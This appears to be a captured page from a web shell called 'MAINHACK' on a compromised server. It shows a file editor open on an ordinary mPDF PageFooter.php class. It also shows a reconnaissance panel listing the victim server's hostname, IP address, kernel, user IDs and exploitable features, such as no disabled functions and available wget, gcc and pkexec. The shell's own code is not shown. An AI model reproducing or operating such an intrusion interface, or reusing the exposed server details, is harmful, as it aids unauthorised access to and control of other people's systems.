[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PageFooter.php
<?php namespace Mpdf\Tag; use Mpdf\Mpdf; class PageFooter extends Tag { public function open($attr, &$ahtml, &$ihtml) { $tag = $this->getTagName(); $this->mpdf->ignorefollowingspaces = true; $pname = '_nonhtmldefault'; if ($attr['NAME']) { $pname = $attr['NAME']; } // mPDF 6 $p = []; // mPDF 6 $p['L'] = []; $p['C'] = []; $p['R'] = []; $p['L']['font-style'] = ''; $p['C']['font-style'] = ''; $p['R']['font-style'] = ''; if (isset($attr['CONTENT-LEFT'])) { $p['L']['content'] = $attr['CONTENT-LEFT']; } if (isset($attr['CONTENT-CENTER'])) { $p['C']['content'] = $attr['CONTENT-CENTER']; } if (isset($attr['CONTENT-RIGHT'])) { $p['R']['content'] = $attr['CONTENT-RIGHT']; } if (isset($attr['HEADER-STYLE']) || isset($attr['FOOTER-STYLE'])) { // font-family,size,weight,style,color if ($tag === 'PAGEHEADER') { $properties = $this->cssManager->readInlineCSS($attr['HEADER-STYLE']); } else { $properties = $this->cssManager->readInlineCSS($attr['FOOTER-STYLE']); } if (isset($properties['FONT-FAMILY'])) { $p['L']['font-family'] = $properties['FONT-FAMILY']; $p['C']['font-family'] = $properties['FONT-FAMILY']; $p['R']['font-family'] = $properties['FONT-FAMILY']; } if (isset($properties['FONT-SIZE'])) { $p['L']['font-size'] = $this->sizeConverter->convert($properties['FONT-SIZE']) * Mpdf::SCALE; $p['C']['font-size'] = $this->sizeConverter->convert($properties['FONT-SIZE']) * Mpdf::SCALE; $p['R']['font-size'] = $this->sizeConverter->convert($properties['FONT-SIZE']) * Mpdf::SCALE; } if (isset($properties['FONT-WEIGHT']) && $properties['FONT-WEIGHT'] === 'bold') { $p['L']['font-style'] = 'B'; $p['C']['font-style'] = 'B'; $p['R']['font-style'] = 'B'; } if (isset($properties['FONT-STYLE']) && $properties['FONT-STYLE'] === 'italic') { $p['L']['font-style'] .= 'I'; $p['C']['font-style'] .= 'I'; $p['R']['font-style'] .= 'I'; } if (isset($properties['COLOR'])) { $p['L']['color'] = $properties['COLOR']; $p['C']['color'] = $properties['COLOR']; $p['R']['color'] = $properties['COLOR']; } } if (isset($attr['HEADER-STYLE-LEFT']) || isset($attr['FOOTER-STYLE-LEFT'])) { if ($tag === 'PAGEHEADER') { $properties = $this->cssManager->readInlineCSS($attr['HEADER-STYLE-LEFT']); } else { $properties = $this->cssManager->readInlineCSS($attr['FOOTER-STYLE-LEFT']); } if (isset($properties['FONT-FAMILY'])) { $p['L']['font-family'] = $properties['FONT-FAMILY']; } if (isset($properties['FONT-SIZE'])) { $p['L']['font-size'] = $this->sizeConverter->convert($properties['FONT-SIZE']) * Mpdf::SCALE; } if (isset($properties['FONT-WEIGHT']) && $properties['FONT-WEIGHT'] === 'bold') { $p['L']['font-style'] = 'B'; } if (isset($properties['FONT-STYLE']) && $properties['FONT-STYLE'] === 'italic') { $p['L']['font-style'] .='I'; } if (isset($properties['COLOR'])) { $p['L']['color'] = $properties['COLOR']; } } if (isset($attr['HEADER-STYLE-CENTER']) || isset($attr['FOOTER-STYLE-CENTER'])) { if ($tag === 'PAGEHEADER') { $properties = $this->cssManager->readInlineCSS($attr['HEADER-STYLE-CENTER']); } else { $properties = $this->cssManager->readInlineCSS($attr['FOOTER-STYLE-CENTER']); } if (isset($properties['FONT-FAMILY'])) { $p['C']['font-family'] = $properties['FONT-FAMILY']; } if (isset($properties['FONT-SIZE'])) { $p['C']['font-size'] = $this->sizeConverter->convert($properties['FONT-SIZE']) * Mpdf::SCALE; } if (isset($properties['FONT-WEIGHT']) && $properties['FONT-WEIGHT'] === 'bold') { $p['C']['font-style'] = 'B'; } if (isset($properties['FONT-STYLE']) && $properties['FONT-STYLE'] === 'italic') { $p['C']['font-style'] .= 'I'; } if (isset($properties['COLOR'])) { $p['C']['color'] = $properties['COLOR']; } } if (isset($attr['HEADER-STYLE-RIGHT']) || isset($attr['FOOTER-STYLE-RIGHT'])) { if ($tag === 'PAGEHEADER') { $properties = $this->cssManager->readInlineCSS($attr['HEADER-STYLE-RIGHT']); } else { $properties = $this->cssManager->readInlineCSS($attr['FOOTER-STYLE-RIGHT']); } if (isset($properties['FONT-FAMILY'])) { $p['R']['font-family'] = $properties['FONT-FAMILY']; } if (isset($properties['FONT-SIZE'])) { $p['R']['font-size'] = $this->sizeConverter->convert($properties['FONT-SIZE']) * Mpdf::SCALE; } if (isset($properties['FONT-WEIGHT']) && $properties['FONT-WEIGHT'] === 'bold') { $p['R']['font-style'] = 'B'; } if (isset($properties['FONT-STYLE']) && $properties['FONT-STYLE'] === 'italic') { $p['R']['font-style'] .= 'I'; } if (isset($properties['COLOR'])) { $p['R']['color'] = $properties['COLOR']; } } if (!empty($attr['LINE'])) { // 0|1|on|off $lineset = 0; if ($attr['LINE'] == '1' || strtoupper($attr['LINE']) === 'ON') { $lineset = 1; } $p['line'] = $lineset; } // mPDF 6 if ($tag === 'PAGEHEADER') { $this->mpdf->DefHeaderByName($pname, $p); } else { $this->mpdf->DefFooterByName($pname, $p); } } public function close(&$ahtml, &$ihtml) { } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002